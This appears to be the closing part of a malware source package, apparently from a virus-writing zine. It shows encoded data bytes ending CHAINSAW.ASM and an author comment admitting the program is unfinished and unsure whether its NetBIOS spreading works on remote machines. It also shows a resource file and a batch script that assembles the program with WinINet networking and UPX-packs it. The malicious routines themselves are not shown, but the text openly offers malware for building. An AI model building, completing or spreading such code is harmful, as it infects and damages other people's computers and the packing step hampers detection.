DB 027h, 035h, 046h, 025h, 02Eh, 027h, 02Fh, 028h, 046h
|
|
DB 035h, 027h, 031h, 046h, 02Bh, 027h, 035h, 035h, 027h
|
|
DB 025h, 034h, 023h, 048h, 048h, 048h, 044h, 06Bh, 06Ch
|
|
|
|
END START
|
|
|
|
; *shrug*, haven't really finished this piece-o-crap,
|
|
; mainly because I got fed up with all them bugs in
|
|
; the server programs.. also not sure if the NetBios
|
|
; shit works on remotes.. oh fuck it :|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHAINSAW.ASM]ÄÄÄ
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHAINSAW.RC]ÄÄÄ
|
|
I ICON DISCARDABLE "BLACK.ICO"
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHAINSAW.RC]ÄÄÄ
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Q.BAT]ÄÄÄ
|
|
TASM32 CHAINSAW.ASM /ml /m
|
|
TLINK32 CHAINSAW.OBJ C:\TASM\LIB\IMPORT32.LIB WININET.LIB -aa
|
|
BRC32 CHAINSAW.RC
|
|
UPX\UPX CHAINSAW.EXE --force
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Q.BAT]ÄÄÄ
|